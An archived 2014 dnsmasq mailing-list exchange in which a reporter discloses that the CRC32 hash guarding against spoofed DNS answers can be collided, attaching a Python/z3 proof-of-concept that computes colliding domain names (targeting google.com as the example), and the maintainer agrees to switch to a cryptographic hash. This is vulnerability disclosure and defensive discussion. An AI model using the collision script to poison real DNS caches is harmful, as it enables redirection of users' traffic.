[Dnsmasq-discuss] Possible cache poisoning issues / CRC32

Simon Kelley simon at thekelleys.org.uk
Fri Jan 24 23:29:01 GMT 2014


On 24/01/14 23:20, Julian Bangert wrote:
> Hello,
>
> I was looking through the DNSmasq source code and it seems to be that
> the primary protection against DNS spoofing (the server including
> responses not requested by the client) is the CRC32 hash of the
> questions (questions_crc in rfc1035.c).
> It is quite possible to construct domain names that lead to a full
> collision of the CRC32 hash - in addition to sending a response to the
> original domain and the RR to be spoofed, an attacker can send back a
> third RR that produces the CRC32 collision. A python program to compute
> this domain name with a SAT solver is attached.
>
> While I don't know how this could be directly exploited (the caching DNS
> server upstream of dnsmasq would filter out spoofing requests), I think
> it would be prudent to replace the code in question (either perform a
> deep-compare of domain names, or use a better hash function such as SHA1
> - I don't think the performance overhead of questions_crc is that
> significant, as the input size tends to be quite small).


I agree 100%. The deep-compare idea isn't an option, as the domain name 
in the query is not part of the state stored, that's why a hash is used.

As part of the current work on DNSSEC, I plan to replace the CRC with a 
hash, at least when dnsmasq is compiled with DNSSEC support, and 
therefore linked with a crypto library providing a cornucopia of 
cryptographic hashes.

Cheers,


Simon.

>
> Regards,
> Julian Bangert
>
> #!/usr/bin/env python2
> from z3 import *
> def crc_iter(crc):
>      poly = BitVecVal(0x04c11db7,32)
>      mask = BitVecVal(0x80000000,32)
>      return If(crc & mask != 0,  (crc << 1) ^ poly, crc<< 1)
> def crc_char(crc,char):
>      crc = crc ^ (char << 24)
>      for x in range(8):
>          crc = crc_iter(crc)
>      return crc
>
> def encode_string(str):
>      return [BitVecVal(ord(str[index]),32) for index in range(len(str))]
>
> def crc_string(crc,str):
>      for bv in str:
>          crc = crc_char(crc,bv)
>      return crc
> def allow_char(s,c):
>      s.add (Or(And(c >= ord('a'),c <= ord('z')), c==ord('.')))
> def calc_crc(str):
>      s = Solver()
>      s.add(BitVec("test",32) == crc_string(0xffffffff,[ord(x) for x in
> str]))
>      s.check()
>      m=s.model()
>      return m[m[0]].as_long()
> def crc_free(target,prefix,nvalues):
>      s = Solver()
>      freevals = [BitVec('input_%s' % (i+1),32) for i in range(nvalues)]
>      for val in freevals:
>          allow_char(s,val)
>      crc_init = calc_crc(prefix)
>      crc_fini = calc_crc(target)
>      crc = crc_string(crc_init,freevals)
>      s.add (crc_fini == crc)
>      return s
> #
> def a_query(str):
>      return(str+ "\x00\x01\x00\x01")
>
> def dns_spoof(my_domain,poison):
>      s= crc_free(my_domain,a_query(my_domain)+a_query(poison),7)
>      s.check()
>      m= s.model()
>      domain=""
>      for decl in sorted(m.decls(), key= lambda x: x.name()):
>          domain+= chr(m[decl].as_long())
>
>      return domain
>
> print hex(calc_crc(a_query("p.spargelzeit.mooo.com")))
> print hex(calc_crc(a_query("p.spargelzeit.mooo.com") +
> a_query("google.com") +a_query("qnhhwrv")))
> print dns_spoof("p.spargelzeit.mooo.com","google.com")
>
>
> _______________________________________________
> Dnsmasq-discuss mailing list
> Dnsmasq-discuss at lists.thekelleys.org.uk
> http://lists.thekelleys.org.uk/mailman/listinfo/dnsmasq-discuss
>




More information about the Dnsmasq-discuss mailing list